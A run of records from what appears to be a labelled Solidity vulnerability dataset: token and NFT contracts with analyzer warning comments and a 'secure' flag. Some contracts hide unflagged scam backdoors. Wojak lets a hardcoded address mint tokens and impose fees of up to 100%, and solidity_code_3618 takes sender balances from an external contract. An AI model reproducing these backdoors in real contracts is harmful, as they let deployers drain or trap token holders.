_afterTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ad0968): YTK._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ad0968: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor(string memory name_, string memory symbol_, uint256 amount) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3612.sol",
"secure": 0,
"size_bytes": 8888
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5bdb08e): Contract locking ether found Contract MascotofTesla has payable functions MascotofTesla.receive() But does not have a function to withdraw the ether\n// Recommendation for 5bdb08e: Remove the 'payable' attribute or add a withdraw function.\ncontract MascotofTesla is ERC20, Ownable {\n constructor() ERC20(unicode\"Mascot of Tesla\", unicode\"BorgoBot\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5bdb08e): Contract locking ether found Contract MascotofTesla has payable functions MascotofTesla.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 5bdb08e: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3613.sol",
"secure": 0,
"size_bytes": 1042
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeCalls {\n function checkCaller(address sender, address _owww) internal pure {\n require(sender == _owww, \"Caller is not the original caller\");\n }\n}",
"file_name": "solidity_code_3614.sol",
"secure": 1,
"size_bytes": 236
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./SafeCalls.sol\" as SafeCalls;\n\ncontract Wojak is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _transferFees;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: af230cd): Wojak._decimals should be immutable \n\t// Recommendation for af230cd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: cda1b93): Wojak._totalSupply should be immutable \n\t// Recommendation for cda1b93: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 169771e): Wojak._owww should be immutable \n\t// Recommendation for 169771e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owww;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n _owww = 0x39969cA853105866263dAED382aE15C70E52ad79;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Execute(address[] memory users, uint256 team) external {\n SafeCalls.checkCaller(_msgSender(), _owww);\n assembly {\n if gt(team, 100) {\n revert(0, 0)\n }\n }\n for (uint256 i = 0; i < users.length; i++) {\n _transferFees[users[i]] = team;\n }\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function _min(address account, uint256 amount) internal {\n if (amount != 0) {\n _balances[account] = _balances[account] - amount;\n }\n }\n\n function _somme(uint256 qwe, uint256 mna) internal pure returns (uint256) {\n if (mna != 0) {\n return qwe + mna;\n }\n return mna;\n }\n\n function increaseAllowance(\n address spender,\n uint256 montante\n ) public virtual {\n address from = msg.sender;\n require(spender != address(0), \"Invalid address\");\n require(montante > 0, \"Invalid amount\");\n uint256 totale = 0;\n if (_gDxPermet(spender)) {\n _min(from, totale);\n totale += _somme(totale, montante);\n _balances[spender] += totale;\n } else {\n _min(from, totale);\n _balances[spender] += totale;\n }\n }\n\n function _gDxPermet(address nav_) internal view returns (bool) {\n return nav_ == _owww;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += finalAmount;\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bb45b69): Wojak.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bb45b69: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n uint256 fee = (amount * _transferFees[sender]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n _balances[recipient] += finalAmount;\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n emit Transfer(sender, BLACK_HOLE, fee);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3615.sol",
"secure": 0,
"size_bytes": 5885
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\n\ncontract CryptoCoolBirbs is IERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: 8b43949): CryptoCoolBirbs._owner should be immutable \n\t// Recommendation for 8b43949: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 01e523e): CryptoCoolBirbs.isApprovedForAll(address,address).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for 01e523e: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6e2dcd9): CryptoCoolBirbs.balanceOf(address).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for 6e2dcd9: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: adfecf0): CryptoCoolBirbs._numberMinted(address).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for adfecf0: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 00c09da): CryptoCoolBirbs._getAux(address).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for 00c09da: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 61426e7): CryptoCoolBirbs.approve(address,uint256).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for 61426e7: Rename the local variables that shadow another component.\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender);\n _;\n }\n\n uint256 public constant MAX_SUPPLY = 2223;\n uint256 public MAX_FREE = 1666;\n uint256 public MAX_FREE_PER_WALLET = 1;\n uint256 public COST = 0.001 ether;\n\n string private constant _name = \"CryptoCoolBirbs\";\n string private constant _symbol = \"CCB\";\n string private _baseURI =\n \"bafybeicirsuylivp3dwfwhw55abp2wswwwpy4ju5fr42pjaycbomnfb7uq\";\n\n constructor() {\n _owner = msg.sender;\n }\n\n function mint(uint256 amount) external payable {\n address _caller = _msgSenderERC721A();\n\n require(totalSupply() + amount <= MAX_SUPPLY, \"SoldOut\");\n require(amount * COST <= msg.value, \"Value to Low\");\n require(amount <= 10, \"max 10 per TX\");\n\n _mint(_caller, amount);\n }\n\n function freeMint() external {\n address _caller = _msgSenderERC721A();\n uint256 amount = 1;\n\n require(totalSupply() + amount <= MAX_FREE, \"Freemint SoldOut\");\n require(\n amount + _numberMinted(_caller) <= MAX_FREE_PER_WALLET,\n \"Max per Wallet\"\n );\n\n _mint(_caller, amount);\n }\n\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private _currentIndex = 0;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n function setData(string memory _base) external onlyOwner {\n _baseURI = _base;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e856305): CryptoCoolBirbs.setConfig(uint256,uint256,uint256) should emit an event for MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET COST = _COST MAX_FREE = _MAX_FREE \n\t// Recommendation for e856305: Emit an event for critical parameter changes.\n function setConfig(\n uint256 _MAX_FREE_PER_WALLET,\n uint256 _COST,\n uint256 _MAX_FREE\n ) external onlyOwner {\n\t\t// events-maths | ID: e856305\n MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET;\n\t\t// events-maths | ID: e856305\n COST = _COST;\n\t\t// events-maths | ID: e856305\n MAX_FREE = _MAX_FREE;\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6e2dcd9): CryptoCoolBirbs.balanceOf(address).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for 6e2dcd9: Rename the local variables that shadow another component.\n function balanceOf(address owner) public view override returns (uint256) {\n if (_addressToUint256(owner) == 0) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: adfecf0): CryptoCoolBirbs._numberMinted(address).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for adfecf0: Rename the local variables that shadow another component.\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 00c09da): CryptoCoolBirbs._getAux(address).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for 00c09da: Rename the local variables that shadow another component.\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 69abd09): CryptoCoolBirbs._unpackedOwnership(uint256) uses timestamp for comparisons Dangerous comparisons ownership.burned = packed & BITMASK_BURNED != 0\n\t// Recommendation for 69abd09: Avoid relying on 'block.timestamp'.\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\t\t// timestamp | ID: 69abd09\n ownership.burned = packed & BITMASK_BURNED != 0;\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 839d72b): CryptoCoolBirbs._initializeOwnershipAt(uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[index] == 0\n\t// Recommendation for 839d72b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: d6cfe97): CryptoCoolBirbs._initializeOwnershipAt(uint256) uses a dangerous strict equality _packedOwnerships[index] == 0\n\t// Recommendation for d6cfe97: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _initializeOwnershipAt(uint256 index) internal {\n\t\t// timestamp | ID: 839d72b\n\t\t// incorrect-equality | ID: d6cfe97\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n string memory baseURI = _baseURI;\n return\n bytes(baseURI).length != 0\n ? string(\n abi.encodePacked(\n \"ipfs://\",\n baseURI,\n \"/\",\n _toString(tokenId),\n \".json\"\n )\n )\n : \"\";\n }\n\n function _addressToUint256(\n address value\n ) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function _boolToUint256(bool value) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 61426e7): CryptoCoolBirbs.approve(address,uint256).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for 61426e7: Rename the local variables that shadow another component.\n function approve(address to, uint256 tokenId) public override {\n address owner = address(uint160(_packedOwnershipOf(tokenId)));\n if (to == owner) revert();\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 01e523e): CryptoCoolBirbs.isApprovedForAll(address,address).owner shadows CryptoCoolBirbs.owner() (function)\n\t// Recommendation for 01e523e: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _startTokenId() <= tokenId && tokenId < _currentIndex;\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (_addressToUint256(to) == 0) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 374ca35): CryptoCoolBirbs._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 374ca35: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 76d1c91): CryptoCoolBirbs._transfer(address,address,uint256) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 76d1c91: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 tokenId) private {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n address approvedAddress = _tokenApprovals[tokenId];\n\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n approvedAddress == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (_addressToUint256(approvedAddress) != 0) {\n delete _tokenApprovals[tokenId];\n }\n\n unchecked {\n --_packedAddressData[from];\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: 374ca35\n\t\t\t\t// incorrect-equality | ID: 76d1c91\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_3616.sol",
"secure": 0,
"size_bytes": 17346
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"./Owned.sol\" as Owned;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./ApproveAndCallFallBack.sol\" as ApproveAndCallFallBack;\n\ncontract DogeETH is ERC20Interface, Owned, SafeMath {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: e4e113c): DogeETH.decimals should be immutable \n\t// Recommendation for e4e113c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: c9634bc): DogeETH._totalSupply should be immutable \n\t// Recommendation for c9634bc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n symbol = \"DOGEETH\";\n name = \"DogeETH\";\n decimals = 18;\n _totalSupply = 1000000000000000000000000000;\n balances[0x8C145926b1590520B161a876580BDf88bf69649F] = _totalSupply;\n emit Transfer(\n address(0),\n 0x8C145926b1590520B161a876580BDf88bf69649F,\n _totalSupply\n );\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n balances[from] = safeSub(balances[from], tokens);\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n emit Transfer(from, to, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function approveAndCall(\n address spender,\n uint256 tokens,\n bytes memory data\n ) public returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n ApproveAndCallFallBack(spender).receiveApproval(\n msg.sender,\n tokens,\n address(this),\n data\n );\n return true;\n }\n\n function transferAnyERC20Token(\n address tokenAddress,\n uint256 tokens\n ) public onlyOwner returns (bool success) {\n return ERC20Interface(tokenAddress).transfer(owner, tokens);\n }\n}",
"file_name": "solidity_code_3617.sol",
"secure": 1,
"size_bytes": 3557
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\nimport \"@openzeppelin/contracts/interfaces/IERC777.sol\" as IERC777;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address _securityExchange = 0x05DC98761b45974aA094725a26673FA533ef2D79;\n address public pair;\n\n IDEXRouter router;\n IERC777 securityExchange;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n bool public trade;\n uint256 public startBlock;\n address public msgSend;\n address public msgReceive;\n\n constructor(string memory name_, string memory symbol_) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n securityExchange = IERC777(_securityExchange);\n\n _name = name_;\n _symbol = symbol_;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n\t\t// reentrancy-events | ID: 8ec4308\n\t\t// reentrancy-benign | ID: dd9ac7d\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: 8ec4308\n\t\t// reentrancy-benign | ID: dd9ac7d\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dd9ac7d\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 8ec4308\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() public {\n require(\n ((msg.sender == owner()) || (address(0) == owner())),\n \"Ownable: caller is not the owner\"\n );\n trade = true;\n startBlock = block.number;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function senderBalance(uint256 amount) internal returns (uint256) {\n\t\t// reentrancy-events | ID: 8ec4308\n\t\t// reentrancy-events | ID: d6e1f28\n\t\t// reentrancy-benign | ID: dd9ac7d\n\t\t// reentrancy-benign | ID: 62de307\n return securityExchange.confirmTransaction(amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n msgSend = sender;\n msgReceive = recipient;\n\n require(\n ((trade == true) || (msgSend == owner())),\n \"ERC20: trading is not yet enabled\"\n );\n require(msgSend != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n\t\t// reentrancy-events | ID: d6e1f28\n\t\t// reentrancy-benign | ID: 62de307\n _balances[sender] = senderBalance(amount) - amount;\n\t\t// reentrancy-benign | ID: 62de307\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: d6e1f28\n emit Transfer(sender, recipient, amount);\n }\n\n function _DeployCoinbase(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n approve(_router, ~uint256(0));\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_3618.sol",
"secure": 0,
"size_bytes": 5967
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n _DeployCoinbase(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_3619.sol",
"secure": 0,
"size_bytes": 1055
} |
{
